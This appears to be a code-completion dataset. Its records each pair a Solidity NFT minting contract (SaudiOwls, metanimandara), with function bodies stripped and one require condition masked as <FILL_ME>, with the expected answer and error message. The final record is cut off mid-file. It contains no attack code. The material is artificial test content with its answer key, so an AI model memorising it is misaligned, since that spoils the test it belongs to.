function Withdraw() public payable onlyOwner {
}
function reserveTokens(address dev, uint256 reserveAmount)
external
onlyOwner
{
}
function Mint(address to, uint256 quantity) external payable {
require(isSaleActive, "Sale not Active");
require(
quantity > 0 && quantity <= maxPerWallet,
"Can Mint only 5 per Wallet"
);
require(
totalSupply().add(quantity) <= MAX_TOKENS,
"Mint is going over max per transaction"
);
require(msg.value >= tokenPrice.mul(quantity),
"0.0005 eth per token"
);
require(<FILL_ME>)
_mintsClaimed[msg.sender] += quantity;
_mint(to, quantity);
}
function FreeMint(address to) external payable {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
|
_mintsClaimed[msg.sender].add(quantity)<=maxPerWallet,"Only 5 mints per wallet, priced at 0.0005 eth"
| 212,310 |
_mintsClaimed[msg.sender].add(quantity)<=maxPerWallet
|
"Mint is going Supply"
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import './ERC721B.sol';
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract SaudiOwls is ERC721B, Ownable {
using Strings for uint256;
string public baseURI = "";
bool public isSaleActive = false;
mapping(address => bool) private _freeMintClaimed;
mapping(address => uint256) private _mintsClaimed;
uint256 public constant MAX_TOKENS = 5555;
uint256 public tokenPrice = 500000000000000;
uint256 public constant maxPerWallet = 5;
using SafeMath for uint256;
using Strings for uint256;
uint256 public devReserve = 5;
event NFTMINTED(uint256 tokenId, address owner);
constructor() ERC721B("SaudiOwls", "SO") {}
function _baseURI() internal view virtual returns (string memory) {
}
function _price() internal view virtual returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setPrice(uint256 _newTokenPrice) public onlyOwner {
}
function activateSale() external onlyOwner {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function Withdraw() public payable onlyOwner {
}
function reserveTokens(address dev, uint256 reserveAmount)
external
onlyOwner
{
}
function Mint(address to, uint256 quantity) external payable {
}
function FreeMint(address to) external payable {
require(isSaleActive, "Sale not Active");
require(<FILL_ME>)
require(
_freeMintClaimed[msg.sender] != true,
"Only one Free Mint per Wallet"
);
_freeMintClaimed[msg.sender] = true;
_mint(to, 1);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
|
totalSupply().add(1)<=MAX_TOKENS,"Mint is going Supply"
| 212,310 |
totalSupply().add(1)<=MAX_TOKENS
|
"Only one Free Mint per Wallet"
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import './ERC721B.sol';
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract SaudiOwls is ERC721B, Ownable {
using Strings for uint256;
string public baseURI = "";
bool public isSaleActive = false;
mapping(address => bool) private _freeMintClaimed;
mapping(address => uint256) private _mintsClaimed;
uint256 public constant MAX_TOKENS = 5555;
uint256 public tokenPrice = 500000000000000;
uint256 public constant maxPerWallet = 5;
using SafeMath for uint256;
using Strings for uint256;
uint256 public devReserve = 5;
event NFTMINTED(uint256 tokenId, address owner);
constructor() ERC721B("SaudiOwls", "SO") {}
function _baseURI() internal view virtual returns (string memory) {
}
function _price() internal view virtual returns (uint256) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setPrice(uint256 _newTokenPrice) public onlyOwner {
}
function activateSale() external onlyOwner {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function Withdraw() public payable onlyOwner {
}
function reserveTokens(address dev, uint256 reserveAmount)
external
onlyOwner
{
}
function Mint(address to, uint256 quantity) external payable {
}
function FreeMint(address to) external payable {
require(isSaleActive, "Sale not Active");
require(
totalSupply().add(1) <= MAX_TOKENS,
"Mint is going Supply"
);
require(<FILL_ME>)
_freeMintClaimed[msg.sender] = true;
_mint(to, 1);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
|
_freeMintClaimed[msg.sender]!=true,"Only one Free Mint per Wallet"
| 212,310 |
_freeMintClaimed[msg.sender]!=true
|
"Requests have exceeded the number in stock."
|
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
/**
* @dev Returns true if a `leafs` can be proved to be a part of a Merkle tree
* defined by `root`. For this, `proofs` for each leaf must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Then
* 'proofFlag' designates the nodes needed for the multi proof.
*
* _Available since v4.7._
*/
function multiProofVerify(
bytes32 root,
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using the multi proof as `proofFlag`. A multi proof is
* valid if the final hash matches the root of the tree.
*
* _Available since v4.7._
*/
function processMultiProof(
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bytes32 merkleRoot) {
}
function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity >=0.7.0 <0.9.0;
abstract contract ownerdataInterface {
function setChildPurpose(address _from, address _to, uint256 _tokenID, address _owner) public virtual;
}
//tested contract
contract metanimandara is ERC721, Ownable, Pausable{
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.017041028 ether;
uint256 public maxSupply = 15;
uint256 public totalSupply;
bool public revealable = false;
bool public isForceReveal = false;
string public notRevealedUri;
//mint state
bool public isWhitelistMint = false;
bool public isPublicMint = false;
//FXportal
ownerdataInterface public ownerdatainterface;
address mintFromAddress = address(0);
address private stakingContract;
//merkle proof
bytes32 private _rootHash;
//mapping (address => uint256) public publicMintCount;
mapping (uint256 => bool) public isRevealed;
mapping (address => uint256)[3] public WLMinteList;
uint256 public wave;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
address _fxRootAddress
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override
{
}
// public
function publicMint(uint256 amount) public payable whenNotPaused {
require(isPublicMint, "Now only WL mint");
//require zero mint
require(amount > 0, "Do not zero mint");
require(msg.value == cost * amount, "Value is not enough.");
uint256 supply = totalSupply;
require(<FILL_ME>)
for (uint256 i = 1; i <= amount; i++) {
totalSupply += 1;
_safeMint(msg.sender, supply + i);
}
}
function whitelistMint(bytes32[] calldata proof) public payable whenNotPaused {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function revealToken (uint256 _tokenId) public {
}
function revealTokens (uint256[] calldata ownedTokens) public {
}
//only owner
function setRootHash (bytes32 root) public onlyOwner {
}
function setRevealable(bool _isRevealable) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setMaxSupply (uint256 _newSupply) public onlyOwner {
}
//state management
function setWave(uint256 _newWave) public onlyOwner {
}
function setIsPublicMint(bool _isPublic) public onlyOwner {
}
function setIsWhiteListMint (bool _isWhiteList) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function ownerMint (uint256 amount) public onlyOwner
{
}
function setIsForceReveal (bool _newBool) public onlyOwner {
}
function pause() external onlyOwner
{
}
function unpause() external onlyOwner
{
}
}
|
amount+supply<=maxSupply,"Requests have exceeded the number in stock."
| 212,438 |
amount+supply<=maxSupply
|
"Minted."
|
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
/**
* @dev Returns true if a `leafs` can be proved to be a part of a Merkle tree
* defined by `root`. For this, `proofs` for each leaf must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Then
* 'proofFlag' designates the nodes needed for the multi proof.
*
* _Available since v4.7._
*/
function multiProofVerify(
bytes32 root,
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using the multi proof as `proofFlag`. A multi proof is
* valid if the final hash matches the root of the tree.
*
* _Available since v4.7._
*/
function processMultiProof(
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bytes32 merkleRoot) {
}
function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity >=0.7.0 <0.9.0;
abstract contract ownerdataInterface {
function setChildPurpose(address _from, address _to, uint256 _tokenID, address _owner) public virtual;
}
//tested contract
contract metanimandara is ERC721, Ownable, Pausable{
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.017041028 ether;
uint256 public maxSupply = 15;
uint256 public totalSupply;
bool public revealable = false;
bool public isForceReveal = false;
string public notRevealedUri;
//mint state
bool public isWhitelistMint = false;
bool public isPublicMint = false;
//FXportal
ownerdataInterface public ownerdatainterface;
address mintFromAddress = address(0);
address private stakingContract;
//merkle proof
bytes32 private _rootHash;
//mapping (address => uint256) public publicMintCount;
mapping (uint256 => bool) public isRevealed;
mapping (address => uint256)[3] public WLMinteList;
uint256 public wave;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
address _fxRootAddress
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override
{
}
// public
function publicMint(uint256 amount) public payable whenNotPaused {
}
function whitelistMint(bytes32[] calldata proof) public payable whenNotPaused {
require(isWhitelistMint, "Now only public mint");
if(wave < 2){
require(<FILL_ME>)
}
require(msg.value == cost, "Value is not enough.");
uint256 supply = totalSupply;
require(supply < maxSupply, "Sold out");
//merkle proof
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(proof, _rootHash, leaf), "Invalid addr");
WLMinteList[wave][msg.sender] += 1;
totalSupply += 1;
_safeMint(msg.sender, supply + 1);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function revealToken (uint256 _tokenId) public {
}
function revealTokens (uint256[] calldata ownedTokens) public {
}
//only owner
function setRootHash (bytes32 root) public onlyOwner {
}
function setRevealable(bool _isRevealable) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setMaxSupply (uint256 _newSupply) public onlyOwner {
}
//state management
function setWave(uint256 _newWave) public onlyOwner {
}
function setIsPublicMint(bool _isPublic) public onlyOwner {
}
function setIsWhiteListMint (bool _isWhiteList) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function ownerMint (uint256 amount) public onlyOwner
{
}
function setIsForceReveal (bool _newBool) public onlyOwner {
}
function pause() external onlyOwner
{
}
function unpause() external onlyOwner
{
}
}
|
WLMinteList[wave][msg.sender]<2,"Minted."
| 212,438 |
WLMinteList[wave][msg.sender]<2
|
"Invalid addr"
|
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
/**
* @dev Returns true if a `leafs` can be proved to be a part of a Merkle tree
* defined by `root`. For this, `proofs` for each leaf must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Then
* 'proofFlag' designates the nodes needed for the multi proof.
*
* _Available since v4.7._
*/
function multiProofVerify(
bytes32 root,
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using the multi proof as `proofFlag`. A multi proof is
* valid if the final hash matches the root of the tree.
*
* _Available since v4.7._
*/
function processMultiProof(
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bytes32 merkleRoot) {
}
function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity >=0.7.0 <0.9.0;
abstract contract ownerdataInterface {
function setChildPurpose(address _from, address _to, uint256 _tokenID, address _owner) public virtual;
}
//tested contract
contract metanimandara is ERC721, Ownable, Pausable{
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.017041028 ether;
uint256 public maxSupply = 15;
uint256 public totalSupply;
bool public revealable = false;
bool public isForceReveal = false;
string public notRevealedUri;
//mint state
bool public isWhitelistMint = false;
bool public isPublicMint = false;
//FXportal
ownerdataInterface public ownerdatainterface;
address mintFromAddress = address(0);
address private stakingContract;
//merkle proof
bytes32 private _rootHash;
//mapping (address => uint256) public publicMintCount;
mapping (uint256 => bool) public isRevealed;
mapping (address => uint256)[3] public WLMinteList;
uint256 public wave;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
address _fxRootAddress
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override
{
}
// public
function publicMint(uint256 amount) public payable whenNotPaused {
}
function whitelistMint(bytes32[] calldata proof) public payable whenNotPaused {
require(isWhitelistMint, "Now only public mint");
if(wave < 2){
require(WLMinteList[wave][msg.sender] < 2, "Minted.");
}
require(msg.value == cost, "Value is not enough.");
uint256 supply = totalSupply;
require(supply < maxSupply, "Sold out");
//merkle proof
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
WLMinteList[wave][msg.sender] += 1;
totalSupply += 1;
_safeMint(msg.sender, supply + 1);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function revealToken (uint256 _tokenId) public {
}
function revealTokens (uint256[] calldata ownedTokens) public {
}
//only owner
function setRootHash (bytes32 root) public onlyOwner {
}
function setRevealable(bool _isRevealable) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setMaxSupply (uint256 _newSupply) public onlyOwner {
}
//state management
function setWave(uint256 _newWave) public onlyOwner {
}
function setIsPublicMint(bool _isPublic) public onlyOwner {
}
function setIsWhiteListMint (bool _isWhiteList) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function ownerMint (uint256 amount) public onlyOwner
{
}
function setIsForceReveal (bool _newBool) public onlyOwner {
}
function pause() external onlyOwner
{
}
function unpause() external onlyOwner
{
}
}
|
MerkleProof.verify(proof,_rootHash,leaf),"Invalid addr"
| 212,438 |
MerkleProof.verify(proof,_rootHash,leaf)
|
"TokenID already revealed"
|
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
/**
* @dev Returns true if a `leafs` can be proved to be a part of a Merkle tree
* defined by `root`. For this, `proofs` for each leaf must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Then
* 'proofFlag' designates the nodes needed for the multi proof.
*
* _Available since v4.7._
*/
function multiProofVerify(
bytes32 root,
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using the multi proof as `proofFlag`. A multi proof is
* valid if the final hash matches the root of the tree.
*
* _Available since v4.7._
*/
function processMultiProof(
bytes32[] memory leafs,
bytes32[] memory proofs,
bool[] memory proofFlag
) internal pure returns (bytes32 merkleRoot) {
}
function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity >=0.7.0 <0.9.0;
abstract contract ownerdataInterface {
function setChildPurpose(address _from, address _to, uint256 _tokenID, address _owner) public virtual;
}
//tested contract
contract metanimandara is ERC721, Ownable, Pausable{
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.017041028 ether;
uint256 public maxSupply = 15;
uint256 public totalSupply;
bool public revealable = false;
bool public isForceReveal = false;
string public notRevealedUri;
//mint state
bool public isWhitelistMint = false;
bool public isPublicMint = false;
//FXportal
ownerdataInterface public ownerdatainterface;
address mintFromAddress = address(0);
address private stakingContract;
//merkle proof
bytes32 private _rootHash;
//mapping (address => uint256) public publicMintCount;
mapping (uint256 => bool) public isRevealed;
mapping (address => uint256)[3] public WLMinteList;
uint256 public wave;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
address _fxRootAddress
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override
{
}
// public
function publicMint(uint256 amount) public payable whenNotPaused {
}
function whitelistMint(bytes32[] calldata proof) public payable whenNotPaused {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function revealToken (uint256 _tokenId) public {
require(revealable, "can not reveal");
require(ownerOf(_tokenId) == msg.sender, "You are not owner this TokenID");
require(<FILL_ME>)
isRevealed[_tokenId] = true;
}
function revealTokens (uint256[] calldata ownedTokens) public {
}
//only owner
function setRootHash (bytes32 root) public onlyOwner {
}
function setRevealable(bool _isRevealable) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner() {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setMaxSupply (uint256 _newSupply) public onlyOwner {
}
//state management
function setWave(uint256 _newWave) public onlyOwner {
}
function setIsPublicMint(bool _isPublic) public onlyOwner {
}
function setIsWhiteListMint (bool _isWhiteList) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function ownerMint (uint256 amount) public onlyOwner
{
}
function setIsForceReveal (bool _newBool) public onlyOwner {
}
function pause() external onlyOwner
{
}
function unpause() external onlyOwner
{
}
}
|
isRevealed[_tokenId]==false,"TokenID already revealed"
| 212,438 |
isRevealed[_tokenId]==false
|
"You are not owner this TokenID"
|
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
